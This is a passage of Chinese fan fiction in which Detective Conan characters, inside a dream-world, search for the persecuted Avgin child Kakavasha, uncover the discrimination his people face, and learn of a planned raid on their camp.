“轰——!” “等、等等啊!住手——!” 哭嚎声响在集市上空,商贩打扮的男人狼狈地从地上爬起来,想要去夺高个男人手中的罐子,然而却被高个男人的同行人一脚踩在了沙地上, 动手的人太过狠利,围观者纷纷不敢吱声、都在默默地看见那两个外来人在无法无天地砸着商贩的摊。 “别砸、别砸——!那可是价值千金的宝贝啊!” “哈,价值千金?” 情绪一向稳定得过分的萩原研二手里拎着个眼熟的罐子,刚刚打听到的事把萩原研二气得比他一向暴躁的幼驯染先一步动了手…… 萩原研二和降谷零原本是来找物资的,但嘴巴说什么不是说?交换物资、顺便打听一下卡卡瓦夏的事也不耽误别的,毕竟不能因为分了工、就只让诸伏景光他们忙吧。 结果,眼尖的安室透在一处很多人围着的摊前、看见了本应该是卡卡瓦夏的那个破旧罐子, 而商贩正在叫卖罐子里的“水”——叫价还高的吓人。 于是不打听不知道,一打听…… 萩原研二炸了, 气炸的。 “价值千金的东西……你拿三斤肉和那孩子换?”萩原研二脸黑得吓人,“听你的叫价,这点水都够换三百斤的肉了吧,你怎么好意思得意洋洋地炫耀说自己会做买卖的?!” 三百斤压价到三斤,这不是做生意……这是想要那人的命! “我冤枉啊,是那小鬼自愿和我换的……”商贩想起身,却又被脸色同样难看致极的降谷零踩着、动弹不得,“而且、而且我的收购价已经是这边给得最高的了!” 萩原研二会信了他的才是见了鬼,“收购价那么低,你怎么可能买出那么高的价?”买家也不都是傻子。 商贩连忙辩解着,“两位大人,两位天外来的大人啊……你们不知道这儿的规矩,我们这也是分情况的,给别人的价肯定、肯定不会这么低的,我可是良心商家,” “但那小鬼是埃维金人啊!” “对他们,我给的三斤都已经是高价了,我真没骗你们啊…大家都可以作证……”商贩努力地想要从萩原研二手里抢救回自己的资产。 安室透冷冷地开口,“凭什么他是埃维金人,就要这样被你们压榨?” “因为…因为他们是人尽皆知的小偷骗子啊,”商贩哭哭嚷嚷着,“他们那族的人可偷了我们不少宝贝、骗过我们不少人的钱,我们这……” “这压价不是理所当然的吗?” 第158章 理所……当然? 这理, 当在哪里? 萩原研二不知前情,所以不对卡卡瓦夏的族人是否真的偷过别人的宝贝、骗过别人的财富做评价,但仅从现在而言, “被偷被骗了,你不去找偷你骗你的家伙麻烦, ”萩原研二不屑, “去欺负人家一个小孩子做什么?” 冤有头债有主, 也别和他说什么既得利益者分担原罪,萩原研二有眼睛有脑子,他自己会看会想——都快瘦成皮包骨了的那个小孩子,哪里像是既得利益者了? 那孩子是靠着家人偷盗吃香喝辣了?还是靠着族人行骗腰缠万贯了? 难道非得那孩子一出生、发现自己是埃维金人就马上自杀, 才能被视作是无罪的普通人吗? 既然这些人不讲正理, 那萩原研二也有得是“歪理”可言。 “再说,那孩子若真是个行诈的老手, ”萩原研二晃了下手里的罐子,听着罐子里小半截的液体晃动的声响,“你觉得凭你这萎缩的脑子,你玩得过人家吗?” 若卡卡瓦夏真存了不好的心思,萩原研二不信这商贩保得下这水罐,那聪明的过了头的小家伙有的是办法再从商贩手里带走这水罐、玩上一出空手套白狼, 而不是和这个商贩进行所谓的“公平交易”。 “这…这……”商贩憋红了脸,忍不住还是哭喊着, “就算他这次没骗我……但他以后呢?长大了呢?” “谁能保证他以后就不会走上他那一族的老路子!” …… 简直是无药可救、不可理喻! 就在降谷零和萩原研二气得快冒火的时候,窃窃私语着的人群里传来了道苍老的声音, “好了,两位……”步履蹒跚、眼上蒙着黑布、头发像杂草般枯黄的盲眼老妇拄着拐,从人群让开的小道中走过来, “请跟我来吧,” 降谷零与萩原研二双双迟疑了一瞬间,便听那老妇道,“你们在找那个孩子吧,我可能知道一点……” …… “他是个…好孩子……” 老妇带着萩原研二和降谷零绕过弯弯曲曲的巷子,往镇子的偏僻角落里走着。 两人暗自警惕着、又不免怀疑面前的老人真的目盲吗?在杂物满地的沿路上,老妇走得比他们两个健全人还要顺畅,但为了卡卡瓦夏、两人都没退缩地跟了上来。 “不过,两位还是别为难商贩了好,”老妇一边走着一边说道,“是我告诉卡卡瓦夏哪里有沙藤、又该怎么取汁的,也是我建议他去找的那位老板做得交易,看在我的面子上、那的确是最高价了……” “我很感谢两位愿意为了卡卡瓦夏而出头,” 老妇咳嗽了两声,缓了缓、又道,“但闹得太难看,之后的生意就不好做了……” 老妇的担忧,降谷零和萩原研二都懂,如果和埃维金人做生意就会像那个商贩一样被找“麻烦”,那就只会有两个结果…… 别指望那些把偏见刻进骨头里了的人能翻然悔悟,埃维金人的处境只会越发艰难——要么愿意与之交易的人越来越少、要么价被压得越来越低。 只不过这里是梦境,萩原研二和降谷零才会那么“肆无忌惮”地为卡卡瓦夏出气。 如果这里是现实,两人恐怕也只能……忍气吞声。 【你们可以换很多很多的东西……】 卡卡瓦夏曾经说过的话浮现在两人的脑海中,萩原研二与降谷零双双陷入了沉默…… “你们”一个词已经说明了很多——“你们”能得到公平的交易,而“我”不能。 这让萩原研二他们宁愿开始希望,希望卡卡瓦夏并不知道自己是被恶意压价了,希望卡卡瓦夏以为自己只是被坏人坑骗了,甚至希望卡卡瓦夏回家后可以躲在家人怀里哭诉自己受到的委屈…… 也不希望卡卡瓦夏是清醒地知道他们埃维金人只值这个价,不希望卡卡瓦夏知道他已经拿到了“最高价”,不希望卡卡瓦夏因为这种不公平的待遇而开心于他已经尽力得到了“最多”。 因为那对一个孩子来说太残忍了, 不公平和歧视被赤/裸裸地展示在卡卡瓦夏的面前,但他却不能哭、不能闹,只能被迫接受着一切,在夹缝中竭尽所能地生存着。 “这也是…没办法的事……”老妇推开了门,邀请着两位到自己的家中一坐。 降谷零习惯性地打量起破旧的房间内部,各种说不上来的植物和动物部件堆满了房间,而桌椅等用品虽然老旧、但对比降谷零一路的见闻,老妇的生活在这个落后的镇子里已经算是中上水平了, 其他人对老妇主动避让的态度,也让她看起来不像是个普通人。 “年轻时得了机缘,学了点子不入流的医术、勉强够生活罢了。”老妇像是知道降谷零的疑惑,轻轻的解释了两声。 “那能请您老……”萩原研二开口了,“告诉我们一些有关埃维金人还有卡卡瓦夏的事吗?我们实在是好奇,当然、我们会给您感谢……” “不用了,其实也没有什么不能说的,”老妇似乎是走累了,在把躺椅上坐下,藤编的椅子嘎叽嘎叽地叫着,“我还是慢慢说吧……” “卡卡瓦夏,是个好孩子……” 老妇又重复了一遍,降谷零与萩原研二保守着没有深入房间内部,都站着做好随时应便危险的准备、也都静静地听着。 “而埃维金一族…是像蜂蜜一般甜蜜辉眼的孩子,现在的茨冈尼亚人恐怕早已经忘记了在茨冈尼亚语中、埃维金一词原本的含义了……” “埃维金”本就是“蜂蜜”的意思啊! “取而代之的是诡诈、骗子、阴谋、小偷……自从那个所谓的联合尊长国建立后,欺压埃维金人仿佛成了所有人抱团取暖、理所当然的共识,” 老妇说道,“聚集区禁止埃维金人的入住,所谓的保护法案也不适用于埃维金人,埃维金人做什么都会被区别对待,” “埃维金人就这样被彻底地流放了。” “所以有人…她不甘心啊……” 老妇的声音开始发颤,“为什么同样是有血有肉的人,她一出生就注定要长在荒漠之中、埋进流沙的深处与枯骨为伴,为什么偏偏是她要承担不公平的命运,为什么非得是她连活着都万分艰难……” “是身为埃维金人的理所当然吗?是血脉的诅咒吗?还是这世间的真理本就如此?” “她不愿屈服,”老妇咳嗽了几声,然后道,“她曾想过靠自己扭转众人的偏见,她采药医人、做尽好事,快饿死之际却仍被病患指责她在故意害他的病情更严重、只为收取更高的报酬,” “于是她自暴自弃,她开始做曾经自己不屑于做的事……结果这世间逼着她去偷去抢去骗才能活下去,却又因为她的偷抢欺骗而反过来指责她,说什么埃维金人本就不可信!” 老妇跑题了,但降谷零和萩原研二都没有打断对方的打算, “再于是她开始怨恨自己的血脉,她想……自己不是埃维金人就好了,最后、她付诸了行动,” “她丢去了光明,她不敢告诉任何人自己的来历,但她也找到了生路,”老妇喃喃道,“原来做好事是可以得到感谢的,原来有人丢了东西是不会第一个被对方怀疑的,原来五个子的食物是可以吃到撑的,” “原来…她也可能不用活得那么可怜……” 但是这些,本就是她应该得到的。 “她弄丢了自己,才得到自己应该有的一切,这是……”老妇恍惚道,“这是,不对的,她为之痛苦了余生……” 她现在过得有多么好,她就有多么的痛苦,她为她背叛了氏族才得到的幸福而痛苦。 “直到她遇到了那个孩子,” “卡卡瓦夏说,”老妇回忆着,“芬戈妈妈祝福着每一个孩子,如果诡计能让她获得更好的生活、芬戈妈妈只会为她磕下眼眸、祝她……” “ 永不败露。” 而非指责她的“背叛”。 “他是个好孩子……” 老妇再三说着这句话,“所以她想着……她可以,她能够,她愿意…给出更多,她教他怎么分辩荒漠里有用的动植物、怎么去引诱沙藤、怎么解刺刺花的毒,” “她给了很多很多了,但都还不够…她在等卡卡瓦夏可以背起更沉的东西,然后把她的全部都交给他……” “但,他是个聪明的孩子,”老妇道,“他遇上了你们,他把你们带到了这里,这说明……短时间内,他不会再到这个聚集区来了,” 旁听的两人了然,卡卡瓦夏在躲着他们,所以对方不会自投罗网。 “而她的时间不多了,她等不到、等不到卡卡瓦夏下一次过来找她了……” 老妇的声音越来越低,“东面那墙后的东西,就留给你们吧,当我…感谢你们的好意……” 嘎吱作响的躺椅渐渐没了声,降谷零无言地上前探了探老妇的鼻息——她已经逝去,降谷零轻轻掀开她蒙眼的黑布,只见到一双睁着的…… 空荡荡的眼窝。 老妇口中的“她”,就是她自己。 “降谷,”去东墙后查看的萩原研二叫了一声同期,墙后堆着好几缸清水、肉干还有其他的生活物资, 这本是老妇留给卡卡瓦夏的。 …… “降谷,你说……梦境的依据是什么?” “……大概,是现实吧。” 看着一大堆的物资,萩原研二和降谷零垂着眼,猜想着过去的可能…… 在现实的另一个维度中,卡卡瓦夏没有遇上他们,就不会急匆匆地逃离这里,卡卡瓦夏也许会一无所获、也许会带上好不容易得来的沙藤汁液偷偷潜入到聚集区, 来到老妇的家中。 生命的最后时刻,那时的老妇又会对卡卡瓦夏说些什么呢? 看到老妇为他准备的这些物资,那时的卡卡瓦夏又会想些什么呢? …… 【“真是……”】 【抱着被沙藤打碎了的罐子碎片,卡卡瓦夏站在老妇的房子里,望着那些足够族人们好好生活一段时间了的物资……】 【卡卡瓦夏没能取到沙藤的汁液,他一个小孩子的力气还是不够压制住沙藤的,他来找老妇、是想知道还有什么办法可以在商贩那换到更多的食物。 】 【但老妇最后只是捏了捏他的肩膀,说,“卡卡瓦夏长大了啊,应该能够背起更重更多的东西了……去吧,去那里看看,”】 【“能背走多少就背走多少……”】 【老妇并非在等卡卡瓦夏能背起多大的责任和氏族的希望,那些都只是些虚无缥缈的概念,她单纯的只是想等卡卡瓦夏能背得动更多的物资罢了。 】 【卡卡瓦夏张了张嘴,对身侧的老妇的遗体说着……】 【“好运啊。”】 …… 【卡卡瓦夏冒着被人发现驱逐的风险,在聚集区和族人们的大蓬车之间往返了很多很多趟,】 【最后从老妇那带走的……是老妇在极恶条件下已经干瘪的不成样子了的尸首,】 【卡卡瓦夏带老妇回了家,卡卡瓦夏与那尸首合掌,祝愿母神三度为其阖眼,令她的血脉永远鼓动,旅途永远坦然,诡计永不败露……】 【然后,将她沉入流沙、回归到母神的怀中。 】 …… “两位大人也是被那小鬼偷了东西吗?” 镇子的另一侧,铁匠粗糙的手掌合在一起搓了搓,“该死的,我下次再见到他一定把他绑到两位面前……” “不,”诸伏景光打断了铁匠的话,后面的他不想再听了,“他没有偷我的东西,” 铁匠:“啊?” “我说,”诸伏景光一字一顿地说道,“他在沙漠里救了我们,我们是来找他报恩的。” 刚刚还说了不少那小鬼脏话的铁匠顿时尴尬了起来,“这个那个…大人确定自己没有被他骗了吗,要知道埃维金人可会耍小把戏了……” 松田阵平一拍案板,“那你的意思是我们蠢得让他一个小鬼头当猴耍了?!” 铁匠连连摆手,“不不不!两位大人聪明过人,我不是那个意思,我只是关、关心大人们……” “不需要你关心,”诸伏景光示意松田阵平将那还剩下小半袋的水袋放到铁匠面前,“我只要你把这消息散到全镇每一个人的耳朵里,让所有人都知道,知道……那孩子他善良真诚,他救了天上的来客,” “所以该得到应有的、善意的回报。” 第159章 黄沙滚滚…… 好吧,这地方除了黄沙、也没有什么好形容和描述的东西了,赤井秀一单手在肩头扛着工藤新一、跟在伊达航身后在沙漠里健步如飞……没飞起来, 补充了下水份,赤井秀一继续抬腿。 被赤井秀一和伊达航轮流扛着的工藤新一,再一次羡慕起其他人那过硬的身体素质。 而他们搜查行动又已经进行了一天, 等天一黑下来, 他们就必须回聚集区补充能量、暂作休息, 可搜查的结果并不如人意。 吹啸了一夜的狂风早就把卡卡瓦夏可能留下的踪迹覆盖了, 今天找不到线索的话、再任风吹沙刮几天,就更难有收获, 工藤新一他……当然不甘心如此,疲惫的眼睛强睁着,望着那一片除了沙白沙黄外别无他色的漫天景色、渐渐甚至有些区分不开天与地的交际线…… 工藤新一感觉自己有点,“沙盲”了。 也就在这时, 沙漠里突然出现的两个小点瞬间抓住了工藤新一的眼睛, “先等下!” 工藤新一拍了拍赤井秀一的肩膀,示意赤井秀一把他举得再高点,赤井秀一自然配合,伊达航也停下在沙子里翻找的动作顺着工藤新一视线看过去, 只见漫漫黄沙之中,渐渐走出了两道远超常人般高大健壮的身影…… …… 腰间的破布条别着剥刀水壶,赤裸的肩头扛着粗劣制造的锋利斧头,种种似乎已经说明了来人的身份 ——“剥皮刀”、卡提卡人。 或许是因为“小偷”人人喊打、“强盗”却无人敢惹吧,同样是被放逐的氏族,卡提卡的生活比之埃维金, 好得不止一星半点。 “该死的……那些家伙说的小鬼不会已经跑掉了吧?” 其中一个刀疤脸抹了把汗,“我们已经找了快一天了, 连个鬼影子都没见到!” 同行的寸头歇了歇脚步,“继续找,你又不是没见识过埃维金人的狡猾……难找才说明我们找对了!” “等找到那个有办法搞到沙藤汁液的小鬼,”寸头咧开了嘴、兴奋地道,“抓他做了我们的奴隶,我们就有怎么用都用不完的伤药了!” …… 埃维金人、沙藤、伤药…… 这些名词和概念……身边外来者的工藤新一几人听不懂,但他们都是些个推理好手,逻辑梳顺一下、不难发现一些“巧合”的存在, 最近搞到了些不明植物汁液的“小鬼”可不就是卡卡瓦夏吗? 不远处的沙丘后,正躲在此处偷听着的赤井秀一想了下,抬手……用牙咬破了小拇指,猜到赤井秀一想验证什么的伊达航紧接着倒了点“水”在赤井秀一流出鲜血的伤口上, 咬破的创口以眼肉可见的速度愈合起来。 “伤药”找到了。 工藤新一瞪大了眼睛,可是……这么宝贵的东西,卡卡瓦夏竟然就这么拿来给他们当水喝? ! 好了,赤井秀一按了按微痛的指腹,他更加肯定那两个看起来就不好惹的壮汉、是冲着卡卡瓦夏来的了。 那两人的对话还在继续…… 虽然知道沙藤的重要性,刀疤脸还是不怎么情愿在沙漠里找罪受,干脆坐下歇了歇,“真不知道首领在急什么,不是已经计划好了过几天就再去抢把大篷车的嘛,到时候那小鬼肯定也逃不了,” “至于现在这么急地派我们出来找人吗……” 抢? ! 工藤新一脑中警铃大作,这个字眼在很多时候都代表着一些不怎么美好的举动。 寸头和刀疤脸的对话还在继续, “你没听说吗?”寸头挑了下眉,斧头往地上一戳,又用另一只手指了指天,“那些甜腻的家伙搭上了天上来的贵客的线,哈……也不知道到时候,那些黑衣人会不会帮他们,” “所以能提前准备些伤药武器,自然更好……” “嗤——!”刀疤脸嗤笑了一下,很是怀疑,“帮他们?他们给的出代价吗,他们哪个不是口袋一翻、穷得可怜!” 寸头也笑了一下,可其中透露出的恶意却并未比自己的同伴低多少,“别忘了,他们可还有一张漂亮的脸蛋呢……不知道是陪贵客睡了多少次、还真让他们睡出敢和我们死拼的自信来了哈!” “你别说,这倒是真的……”刀疤脸肆意地吹虚着,“上次抢车的时候我就见到了个挺漂亮的崽,可惜让那崽趁乱跑掉了,下次我可要好好找找她……” “不知道她想没想我哈哈哈哈哈!” …… 自来到这个梦境后……工藤新一第一次感受到凉意——寒意自心而起。 是再听听,还是……? 伊达航向赤井秀一递了个眼神,没等赤井秀一回应,又是一阵热浪掀过,刚刚还闲聊着的寸头神色突然一紧,“有血腥味、这附近有人!” 正好在风口上的赤井秀一看了眼手上已经干涸的血渍,没想到那两人的五感竟然灵敏到这种程度……赤井秀一回以伊达航一个手势, ——准备行动! …… 过于灼烈的太阳徐徐落下,分开行动的几人开始在老地方汇合, “我和小降谷找了家旅馆、订了两个房间,晚上挤一挤、休息一下,”萩原研二靠回到了自家幼驯染的肩头,首先说道,“物资……也都准备好了。” 有那位老妇的相赠,短期内他们可以不再为基本的生存一事犯愁了。 “还有别的……你们应该也打听到了,”降谷零说,“一个名叫埃维金的氏族。” 松田阵平点头,“我和诸伏……应该也算有所收获。” 诸伏景光将空了的水袋交给降谷零,“抱歉,这个我用完了。” “没事,用在值得的方面上、不必节省。” 降谷零自然也注意到了那道突然流传起来的传闻——“你听说了吗?一个埃维金人救了天上来的的大老爷,大老爷现在正在重金寻找恩人的下落呢!” 降谷零和松田阵平也猜到了那应该是他们的幼驯染的手笔,先不提他们永远会站在自己的幼驯染这边,就他们在老妇那得到的情报而言、他们也会支持诸伏景光和松田阵平, 一个不论品德如何,只有挖掉眼睛、永远隐瞒着自己的身份,才能得到他人平等对待的氏族……他们理应得到“正名”。 简洁快速的互通过双方得到的情报后,诸伏景光不由地往镇外的沙漠望去,现在……就差班长他们三个了, 看看天黑,班长三人应该比在镇中寻找线索信息的他们早回来才对,怎么到现在还没见到班长带人回来? 第160章 正当几人犹豫要不要再出聚集区寻找一下那三个人的下落,担心他们是不是遇到什么意外之刻, 工藤新一终于一瘸一拐的出现在了他们的面前。 “重大情报!”工藤新一挥了下手、扯到了胳膊,痛得嘶了一声,赶紧招呼着几人赶去镇外, “跟我来……” …… 卡提卡人不愧于“野蛮人”这个绰号,身体素质强到可怕,要没有赤井秀一和伊达航护着、工藤新一一个人行动的话……那是绝对是能“死”回现实去。 等工藤新一领着众人到了镇外一处偏僻的角落,降谷零他们看到了伊达航两人——两人身上都挂了些彩,而脚底下踩着的是刚刚简单审讯过后、被打昏过去了的两个陌生男人, 诸伏景光和萩原研二下意识上前各迈了一步、把工藤新一往身后拦了拦, 以防工藤新一见到那两滩血肉模糊的身影。 “一个好消息, 一个坏消息, ”班长活动了下在沙藤汁液的作用下、伤口刚刚愈合的手臂,向同伴们说道, “好消息是, 我们找到卡卡瓦夏那族最近可能会出现的大致位置和时间了,” “坏消息,”赤井秀一踢了一脚脚下的两个混蛋玩意,“他们一族预谋在那时对埃维金人进行劫掠。” …… “假设梦境的依据是现实,梦里不会平白无故地出现一些没有依据和用处的事物,”降谷零说着,“那这起劫掠事件……曾经应该也发生过。” 如同萩原研二和降谷零推测出老妇赠物的对象, 原本也许就是卡卡瓦夏一样,这场劫掠应该也是“真实”的。 “结合他俩人的口供判断,”伊达航没了牙签可咬、单手撑着下巴思索着, “他们是听说卡卡瓦夏有办法找到沙藤、才来……寻找的卡卡瓦夏,” “但在原本的时间线中, ”松田阵平道,“没有我们的帮助,卡卡瓦夏一人无法找到大量的沙藤,自然也无法吸引他们的注意力。” 松田阵平亲自参与了取“水”环节,自然知道那汁藤有多难搞。 “所以那时,就算卡卡瓦夏仍处在镇子里也不会遇上这两个人!”工藤新一很快接道。 诸伏景光点点头,“由此可知,卡卡瓦夏并不是从这两人口中知道的、那场可能会到来的劫掠。” 但前提已知——“劫掠”是“真实”的,那另一个维度下的卡卡瓦夏是在何时、何处、何种情景下知晓得这场“劫掠”? “那就只有一个答案了,”萩原研二想到了那种可能,所有人其实也都想到了,但没人想见到那种场景真正的发生,“卡卡瓦夏……” 不是从间接的渠道知晓,那就只能是, “他是这场劫掠的亲历者。” 亲眼目睹。 …… “我见过……日后的砂金,”赤井秀一突然道,不会有人问他是何时见过的,众人知晓赤井秀一不会乱说话就足够了,“只有他一人。” “砂金也和我们说过,”萩原研二拍了下松田阵平的肩膀,确认着说到,“砂金说他……父母早亡、姐姐族人们也早逝,只剩下他一个人生活。” 可在大家伙的打听之下,目前埃维金人虽然不多、但也没到只留下砂金一条血脉的那种绝境…… 真的是……越往后推,真相就越发可怕,工藤新一咬了咬牙,继续推理下去,卡卡瓦夏就不仅是这场灾难的亲历者, 更是屠杀后的幸存者、唯一幸存者。 那场掠夺,极大可能就是将卡卡瓦夏身边的亲人们带走、导致卡卡瓦夏成为了砂金的源头! “天外的人没有帮助卡卡瓦夏他们,”见过那些外星科技的赤井秀一道,“不然这些野蛮人不可能有胜算。” 卡提卡人再身强体壮、感知敏感,也只会舞舞斧头、挥挥砍刀,他们不可能在那些高科技武器的保护下伤害到埃维金人。 但卡提卡人家到底是身强体壮、感知敏感,赤井秀一和伊达航两个经过特殊训练、身手远超普通人的好手,为了抓住对面两个只会使蛮力的家伙都还挂了彩、勉强一对一…… 而在打听到的情况中,也能知道、埃维金人的身体素质远远不如卡提卡人——换了埃维金人站在卡提卡人的面前,恐怕就只有死路一条。 “很可能……不仅是没有帮助,”降谷零长长地吐了口浑气,“天上来的人并非局外之人,而埃维金和卡提卡……是显而易见的不稳定因素,天上来的人不会没有自己的打算。” 政治敏感度不低降谷零的赤井秀一加以肯定,“埃维金人被迫成了流浪汉。” 从埃维金人被彻底放逐开始,有怪物便已经盯上了他们——肮脏,但……过于有效的政治手段,埃维金人已然成了这个社会的边缘人群, 哪一天突然消失,也不会引起任何人的注意,甚至可能还会有人为埃维金人的灭绝拍手叫好。 就像大街上游荡的流浪汉一样,大众不会为他们的权益而斗争、不会在意他们如何生存、也不会注意到他们何时就会死在街头,只留其自生自灭…… 当局者迷、旁观者清,已经知晓结局的众人看得清楚,这显然就是针对埃维金人的一场死局——有更高的当权者不希望埃维金人活下去, 或者说,只有埃维金人灭绝才能带来当权者想要的利益。 “他们被骗了……不,”诸伏景光顿了顿、神色晦暗地又改口道,“他们也许知道自己的下场,但他们没有更好的选择了、只能竭力去求……用砂金的话来说,是去赌那一丝渺茫的希望。” 赌当权者许诺的“支持”会如约到来, 除此之外,埃维金人没有“拒绝”的权力,可怕的怪物已经盯上了他们,獠牙已经露出…… 灭亡是唯一的归路。 …… 一场可怕的人灾即将发生, 但…… 美梦,还是噩梦? 无人言语。 …… 如果是噩梦,结果显而易见,砂金将重临那一场灾难——而那种层次的苦痛再来第二次……砂金他能扛得住吗?他们该怎么叫醒绝望中的砂金? 如果是美梦……天上的那些人这次也许就会帮助埃维金人赢得胜利,卡卡瓦夏不会再失去家人,但他们几人又该怎么告诉卡卡瓦夏那残酷的真相、打破这场幸福的梦? 靠自己的意识从梦中醒来已经不是最困难的环节,众人意识到、如何叫醒他人才是最大的问题, 因为对自己下手,只要咬咬牙、狠狠心就好了,但对待他人、对待伤痕累累的砂金、对待无辜年幼的卡卡瓦夏……众人会很担心, 担心自己哪一点没有做好,再对对方造成二次伤害。 “走一步、看一步,”松田阵平最终道,“先找到卡卡瓦夏他们再说——!” —————————— 小小的沙丘上,小小的孩子抱着膝盖坐着、抬起小小的脑袋向着天空上望去…… 一向烧灼着光芒令人难以直视的太阳半掩在了乌云的后面,往日明亮的白昼阴暗了不少, 快要下雨了啊……卡卡瓦夏歪了下头想到,空气里的热气好像也都少了很多,一场对茨冈尼亚而言、格外少见且珍贵的大雨即将到来, 与此同时将要来临的,是对埃维金人而言、最为重要的节日——卡卡瓦日。 “痛苦与贫穷……是芬戈妈妈的考验,”卡卡瓦夏自言自语地念叨着,“那这一场雨能告诉我……” “我们,通过考验了吗?” 【完结】 第161章 姐姐和族人们都在说, “痛苦与贫穷是母神的考验”,“不要怨恨痛苦与贫穷”……但是啊,这场考验、 什么时候可以结束? 这一次的雨水可以为他们带来“他们已经通过了考验、不必再忍受痛苦与贫穷”的好消息吗? 卡卡瓦夏看着天,期望着母神可以借雨水、回答他的问题,卡卡瓦夏不想再看见身边的族人们离他远去了。 “卡卡瓦夏!该回家了——!” 姐姐的声音从身后传来, 卡卡瓦夏很快回神、往姐姐的怀里抱去, 猛得给了埃维金少女一个大大的拥抱, “我来了!” “又在一个人想些什么东西呢,卡卡瓦夏?”留着长发、面容与卡卡瓦夏有几分相似的少女揉揉卡卡瓦夏的头发,温柔地打掉自家弟弟衣缝里落进的沙砾。 “我在想, ”卡卡瓦夏昂起头, “我们什么时候可以变得既富有、又快乐——!” 少女马上便想道, “不要怨恨痛……” “我知道的,我没有怨恨, ”卡卡瓦夏主动牵起少女的手、打断了他耳朵都快听起茧子来了的那些旧话, “可是不怨恨穷苦和追逐财富快乐,两者之间并不冲突的啊。” “就你最会耍这些小聪明,”少女无奈地道,“我说不过你、不和你争这个了,反正我说的话你从来没有听过……” “姐姐!”卡卡瓦夏急了,晃着少女的手,“我可听话了,你不能、不能…这么说我……” 卡卡瓦夏自己这话说得声音都越来越小、越来越没有底气,可想而知卡卡瓦夏的这个“听话”掺了多少虚的, 少女每每叮嘱卡卡瓦夏不要冒险的话语,总被卡卡瓦夏丢在脑后面。 “好了、不逗你了,”少女顿时失笑, 严肃的神色褪去、露出温和的笑意,“我永远不会和卡卡瓦夏置气吵架、我永远会原谅你的一切。” 万一哪一天她突然离去,少女不希望到那时、她留给卡卡瓦夏的最后记忆只是与家人的“争吵”, 她和卡卡瓦夏是彼此最亲近的血亲了,少女不希望有任何的遗憾与悔恨横在他们之间。 “我知道卡卡瓦夏很聪明、也很好运……” 少女牵着卡卡瓦夏,慢悠悠地散着步、向大篷车停驻的方向走回去,“卡卡瓦夏能找回来爸爸妈妈的失物,能找到很多的食物和水,甚至找回了能救命的药……” “你的聪慧与运气,就是我们埃维金人的财富。” “我的弟弟是被母神赐福的、幸运的孩子,你会受到母神的庇护,”少女继续用着温柔的语气说道,“你会带着氏族走向更好的生活,我为此感到骄傲、幸福与快乐,” “所以我告诉你答案,我们现在本就既富有、又快乐着。” …… “明白了吗,卡卡瓦夏?” …… “……可能是明白了吧,”卡卡瓦夏觉得,虽然姐姐说着争不过他、但姐姐的口才也并不输于他啊。 暂时驻扎在荒漠中的一辆接一辆大篷车出现在卡卡瓦夏的视野里,卡卡瓦夏现在待着的只是聚集在一起生活着的一个氏族的小部队而已,整个阵地不过几百人而已。 “爸爸呢?”卡卡瓦夏又仰头问道,“他还在为芬戈妈妈寻找供品吗?” 爸爸已经出门很久很久了,久到卡卡瓦夏都快记不得爸爸长什么样子了。 “不要心急,”少女道,“供品可是卡卡瓦日上要用到的、很重要的物件,需要耐心寻找,所以先去陪陪妈妈怎么样?” 卡卡瓦夏应了一声,钻进了一辆大篷车里,穿着破旧衣服、面容苍白有些病态的妇人正在准备着分配族人们的食物。 见到卡卡瓦夏、妇人露出笑意,这里没有人会不喜欢卡卡瓦夏,“来、卡卡瓦夏,帮把手……” “好的,妈妈!” 卡卡瓦夏应得很干脆,他的母亲则一边查看着车内的余粮、一边向卡卡瓦夏说着种种的注意事项,诸如谁家有小宝宝了、食物要多分一点,谁家有人打猎受伤了、补药怎么均些出来…… 卡卡瓦夏听得很认真,没有意外的话,等他长大了、就会接替起母亲的职责。 “妈妈,”卡卡瓦夏突然想起了什么,便问道,“卡卡瓦日……是要准备什么集体狩猎吗?” 妇人表情僵了下,“为什么突然这么问?你是……听说了什么吗?” “嗯……”卡卡瓦夏拖了下尾音、眼见着母亲的神色更紧张了几分,“我注意到最近有不少人都赶回来了,和我们汇合的几个大叔车上,也带了好多武器。” 卡卡瓦日是个大节日,但不一定要所有埃维金人都聚到一起庆祝,毕竟大家的资源都有限, 但最近汇在一起的大蓬车明显比去年多了不少、甚至还有继续增加的倾向。 “啊,是这样的……”妇人嗯了一声,试图敷衍过去,“看近日的天色、今年的雨应该会更大,所以大家都很有干劲呢。” 年迈的长辈并不擅长欺骗自己爱着的孩子,但卡卡瓦夏没吱声、只是乖乖地陪着母亲前后忙碌着, 卡卡瓦夏心下知道——族人们有事在瞒着他。 …… “应该就是这一片了……” 梦境里的时间又过去了好几日,伊达航一行七人靠着从卡提卡人口中拷问到情报,一路摸索到了埃维金人最有可能聚集行动的区域。 如今的天色阴沉的可怕,乌黑的云层似乎随时都能拧出水来、落下雨滴, 站在沙丘上望过去,延绵的沙漠上停了大大小小、许多许多辆的大篷车,撑起来的灰蒙蒙的帐篷、一顶挤着一顶,好像沙子里长出来的蘑菇群, 而朵朵“蘑菇”也过分的沉默了,冷肃紧张的气息在悄悄漫弥开来…… “这么多车……”松田阵平的预感并不好,“他们……这是做好了殊死一搏的打算吗?” 这么多,又这么少, 多的是万余人的大场面,少的是埃维金人一整个氏族、现在竟然只剩了这万余人。 “要想办法找到卡卡瓦夏。”降谷零道,不管美梦、噩梦,也要先把梦境的主人找出来才行。 当然,硬闯进埃维金人的营地肯定行不通,他们会惊扰到全神贯注等待着迎接死战的埃维金人。 “有了!”萩原研二就鬼点子最多,众人便见萩原研二挺起了疲惫的腰杆、指了指自己,说道,“你看我们,像不像是天上来的人?” 埃维金人和天外之人有过“合作约定”,他们刚好可以冒名顶替一下试试! 第162章 聚集的族人越来越多,卡卡瓦夏却越来越感到不安,他从来没有见到过这么多的族人……莫名的焦躁让卡卡瓦夏在营地里不停地来回徘徊着, 他想要知道,族人们这次齐聚到底是想要做什么。 “他们来了……” 刚刚绕过一辆大篷车的卡卡瓦夏猛得收住了脚步,悄悄地躲在了车轮后的窄小空间里,说着话的族人们从他附近走过, “他们按照约定找过来了, ”年老些独眼的埃维金在另一人的搀扶下缓缓地走着,言语间颇为复杂,“他们应当……站在我们这一边吧。” “那太好了…我们这次, 一定可以和那些该死的剥皮刀做个了断, ”年轻些许的埃维金人有些兴奋、眼底涌起得满是刺骨的恨意, “我一定会为妹妹她报仇!” “嗯,”独眼的埃维金人缓缓地应道, “我们会有个了断的。” 族内, 活到现在的族人、谁能没有几起血海深仇呢? …… 他们来了? 他们是谁? 躲着族人们直到他们走远,卡卡瓦夏从车轮后面爬来出,“他们”一定和族内这段时间的异常有关! …… “几位大人……请这边坐。” 